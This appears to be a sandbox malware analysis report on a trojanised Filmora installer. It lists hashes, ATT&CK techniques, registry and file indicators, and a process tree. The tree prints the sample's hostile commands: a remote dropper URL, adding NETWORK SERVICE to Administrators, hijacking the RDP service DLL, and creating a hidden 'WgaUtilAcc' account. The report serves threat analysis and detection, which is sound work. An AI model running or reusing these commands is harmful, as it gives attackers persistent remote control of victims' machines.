79745c2263c8abe5b916e39e577652c029b5b586e7ccb39ee63ed0fc1568c39d

Analysis

max time kernel
128s
max time network
136s
platform
windows10_x64
resource
win10v20210410
submitted
21/07/2021, 08:36

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General

Target
Filmora-Wondershare-Installer.exe
Size 9.2MB
Sample210721-gfamdcsznx
SHA256 79745c2263c8abe5b916e39e577652c029b5b586e7ccb39ee63ed0fc1568c39d
MD5 5e12e56a643c71b913ea60f48f28726d
SHA1 8fd9ef3e15b545335c9cf8a16e7d49bdedc7b6fd
SHA512 807888068394b8072d607a83b7a181f5018c21c1efd2b8ae433ac59dc28bfbec23e1b13d8b6a2447a3ff8bb9b7ecd71d4d7bff55903a2d23a60b817142c9bae3
MD5 SHA1 SHA512

Score

10^/10

bootkit persistence upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
18	4292	powershell.exe
20	4292	powershell.exe
21	4292	powershell.exe
22	4292	powershell.exe
24	4292	powershell.exe
26	4292	powershell.exe
28	4292	powershell.exe
30	4292	powershell.exe
32	4292	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
2488	ViJoy.exe
3268	exe2.exe
3304	exe1.exe
1684	NFWCHK.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000000068b-389.dat	upx
behavioral2/files/0x0008000000000683-390.dat	upx

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	Filmora-Wondershare-Installer.exe

Deletes itself 1 IoCs

pid	Process
1816	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
4692	Process not Found
4692	Process not Found

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	exe2.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6EAF.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_kb1ue3tv.ivt.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_uvddbqio.rzs.psm1	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6EFF.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6ECF.tmp	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6E8E.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6F0F.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	Filmora-Wondershare-Installer.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4292	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1816	powershell.exe
1816	powershell.exe
1816	powershell.exe
3844	powershell.exe
3844	powershell.exe
3844	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe
1784	powershell.exe
1784	powershell.exe
1784	powershell.exe
1816	powershell.exe
1816	powershell.exe
1816	powershell.exe
4292	powershell.exe
4292	powershell.exe
4292	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeIncreaseQuotaPrivilege	3844	powershell.exe
Token: SeSecurityPrivilege	3844	powershell.exe
Token: SeTakeOwnershipPrivilege	3844	powershell.exe
Token: SeLoadDriverPrivilege	3844	powershell.exe
Token: SeSystemProfilePrivilege	3844	powershell.exe
Token: SeSystemtimePrivilege	3844	powershell.exe
Token: SeProfSingleProcessPrivilege	3844	powershell.exe
Token: SeIncBasePriorityPrivilege	3844	powershell.exe
Token: SeCreatePagefilePrivilege	3844	powershell.exe
Token: SeBackupPrivilege	3844	powershell.exe
Token: SeRestorePrivilege	3844	powershell.exe
Token: SeShutdownPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeSystemEnvironmentPrivilege	3844	powershell.exe
Token: SeRemoteShutdownPrivilege	3844	powershell.exe
Token: SeUndockPrivilege	3844	powershell.exe
Token: SeManageVolumePrivilege	3844	powershell.exe
Token: 33	3844	powershell.exe
Token: 34	3844	powershell.exe
Token: 35	3844	powershell.exe
Token: 36	3844	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeIncreaseQuotaPrivilege	1988	powershell.exe
Token: SeSecurityPrivilege	1988	powershell.exe
Token: SeTakeOwnershipPrivilege	1988	powershell.exe
Token: SeLoadDriverPrivilege	1988	powershell.exe
Token: SeSystemProfilePrivilege	1988	powershell.exe
Token: SeSystemtimePrivilege	1988	powershell.exe
Token: SeProfSingleProcessPrivilege	1988	powershell.exe
Token: SeIncBasePriorityPrivilege	1988	powershell.exe
Token: SeCreatePagefilePrivilege	1988	powershell.exe
Token: SeBackupPrivilege	1988	powershell.exe
Token: SeRestorePrivilege	1988	powershell.exe
Token: SeShutdownPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeSystemEnvironmentPrivilege	1988	powershell.exe
Token: SeRemoteShutdownPrivilege	1988	powershell.exe
Token: SeUndockPrivilege	1988	powershell.exe
Token: SeManageVolumePrivilege	1988	powershell.exe
Token: 33	1988	powershell.exe
Token: 34	1988	powershell.exe
Token: 35	1988	powershell.exe
Token: 36	1988	powershell.exe
Token: SeDebugPrivilege	1784	powershell.exe
Token: SeIncreaseQuotaPrivilege	1784	powershell.exe
Token: SeSecurityPrivilege	1784	powershell.exe
Token: SeTakeOwnershipPrivilege	1784	powershell.exe
Token: SeLoadDriverPrivilege	1784	powershell.exe
Token: SeSystemProfilePrivilege	1784	powershell.exe
Token: SeSystemtimePrivilege	1784	powershell.exe
Token: SeProfSingleProcessPrivilege	1784	powershell.exe
Token: SeIncBasePriorityPrivilege	1784	powershell.exe
Token: SeCreatePagefilePrivilege	1784	powershell.exe
Token: SeBackupPrivilege	1784	powershell.exe
Token: SeRestorePrivilege	1784	powershell.exe
Token: SeShutdownPrivilege	1784	powershell.exe
Token: SeDebugPrivilege	1784	powershell.exe
Token: SeSystemEnvironmentPrivilege	1784	powershell.exe
Token: SeRemoteShutdownPrivilege	1784	powershell.exe
Token: SeUndockPrivilege	1784	powershell.exe
Token: SeManageVolumePrivilege	1784	powershell.exe
Token: 33	1784	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3268	exe2.exe
3268	exe2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 680 wrote to memory of 2488	680	Filmora-Wondershare-Installer.exe	75
PID 680 wrote to memory of 2488	680	Filmora-Wondershare-Installer.exe	75
PID 680 wrote to memory of 2488	680	Filmora-Wondershare-Installer.exe	75
PID 2488 wrote to memory of 3304	2488	ViJoy.exe	78
PID 2488 wrote to memory of 3304	2488	ViJoy.exe	78
PID 2488 wrote to memory of 3268	2488	ViJoy.exe	77
PID 2488 wrote to memory of 3268	2488	ViJoy.exe	77
PID 2488 wrote to memory of 3268	2488	ViJoy.exe	77
PID 3268 wrote to memory of 1684	3268	exe2.exe	79
PID 3268 wrote to memory of 1684	3268	exe2.exe	79
PID 3304 wrote to memory of 1816	3304	exe1.exe	81
PID 3304 wrote to memory of 1816	3304	exe1.exe	81
PID 1816 wrote to memory of 3860	1816	powershell.exe	83
PID 1816 wrote to memory of 3860	1816	powershell.exe	83
PID 3860 wrote to memory of 1776	3860	csc.exe	84
PID 3860 wrote to memory of 1776	3860	csc.exe	84
PID 1816 wrote to memory of 3844	1816	powershell.exe	85
PID 1816 wrote to memory of 3844	1816	powershell.exe	85
PID 1816 wrote to memory of 1988	1816	powershell.exe	90
PID 1816 wrote to memory of 1988	1816	powershell.exe	90
PID 1816 wrote to memory of 1784	1816	powershell.exe	92
PID 1816 wrote to memory of 1784	1816	powershell.exe	92
PID 1816 wrote to memory of 4272	1816	powershell.exe	95
PID 1816 wrote to memory of 4272	1816	powershell.exe	95
PID 1816 wrote to memory of 4292	1816	powershell.exe	96
PID 1816 wrote to memory of 4292	1816	powershell.exe	96
PID 1816 wrote to memory of 4312	1816	powershell.exe	97
PID 1816 wrote to memory of 4312	1816	powershell.exe	97
PID 1816 wrote to memory of 4496	1816	powershell.exe	98
PID 1816 wrote to memory of 4496	1816	powershell.exe	98
PID 4496 wrote to memory of 4516	4496	net.exe	99
PID 4496 wrote to memory of 4516	4496	net.exe	99
PID 1816 wrote to memory of 4548	1816	powershell.exe	100
PID 1816 wrote to memory of 4548	1816	powershell.exe	100
PID 4548 wrote to memory of 4564	4548	cmd.exe	101
PID 4548 wrote to memory of 4564	4548	cmd.exe	101
PID 4564 wrote to memory of 4580	4564	cmd.exe	102
PID 4564 wrote to memory of 4580	4564	cmd.exe	102
PID 4580 wrote to memory of 4600	4580	net.exe	103
PID 4580 wrote to memory of 4600	4580	net.exe	103
PID 1816 wrote to memory of 4620	1816	powershell.exe	104
PID 1816 wrote to memory of 4620	1816	powershell.exe	104
PID 4620 wrote to memory of 4636	4620	cmd.exe	105
PID 4620 wrote to memory of 4636	4620	cmd.exe	105
PID 4636 wrote to memory of 4652	4636	cmd.exe	106
PID 4636 wrote to memory of 4652	4636	cmd.exe	106
PID 4652 wrote to memory of 4672	4652	net.exe	107
PID 4652 wrote to memory of 4672	4652	net.exe	107
PID 4740 wrote to memory of 4780	4740	cmd.exe	111
PID 4740 wrote to memory of 4780	4740	cmd.exe	111
PID 4780 wrote to memory of 4800	4780	net.exe	112
PID 4780 wrote to memory of 4800	4780	net.exe	112
PID 4820 wrote to memory of 4860	4820	cmd.exe	115
PID 4820 wrote to memory of 4860	4820	cmd.exe	115
PID 4860 wrote to memory of 4880	4860	net.exe	116
PID 4860 wrote to memory of 4880	4860	net.exe	116
PID 4900 wrote to memory of 4940	4900	cmd.exe	119
PID 4900 wrote to memory of 4940	4900	cmd.exe	119
PID 4940 wrote to memory of 4960	4940	net.exe	120
PID 4940 wrote to memory of 4960	4940	net.exe	120
PID 4980 wrote to memory of 5020	4980	cmd.exe	123
PID 4980 wrote to memory of 5020	4980	cmd.exe	123
PID 5020 wrote to memory of 5040	5020	net.exe	124
PID 5020 wrote to memory of 5040	5020	net.exe	124

C:\Users\Admin\AppData\Local\Temp\Filmora-Wondershare-Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Filmora-Wondershare-Installer.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:680
- C:\Users\Admin\AppData\Local\Temp\ViJoy.exe
  "C:\Users\Admin\AppData\Local\Temp\ViJoy.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Users\Admin\AppData\Roaming\Templers\exe2.exe
    "C:\Users\Admin\AppData\Roaming\Templers\exe2.exe"
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3268
  - - C:\Users\Public\Documents\Wondershare\NFWCHK.exe
      C:\Users\Public\Documents\Wondershare\NFWCHK.exe
      4⤵
      Executes dropped EXE
      PID:1684
- - C:\Users\Admin\AppData\Roaming\Templers\exe1.exe
    "C:\Users\Admin\AppData\Roaming\Templers\exe1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      4⤵
      Deletes itself
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1816
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ca1csawe\ca1csawe.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3860
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES385B.tmp" "c:\Users\Admin\AppData\Local\Temp\ca1csawe\CSCCA8CC198C1144714B612E13F5E396C81.TMP"
        6⤵
        
        PID:1776
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3844
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1988
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1784
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        5⤵
        
        PID:4272
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        5⤵
        Modifies registry key
        
        PID:4292
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        5⤵
        
        PID:4312
    - - C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4496
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        6⤵
        
        PID:4516
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4548
      - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4564
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4580
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        8⤵
        
        PID:4600
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4620
      - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4636
        
        C:\Windows\system32\net.exe
        
        net start TermService
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4652
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        8⤵
        
        PID:4672
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
        5⤵
        
        PID:4956
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
        5⤵
        
        PID:4928

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:4740
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:4800

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 9aDQknBl /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4820
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 9aDQknBl /add
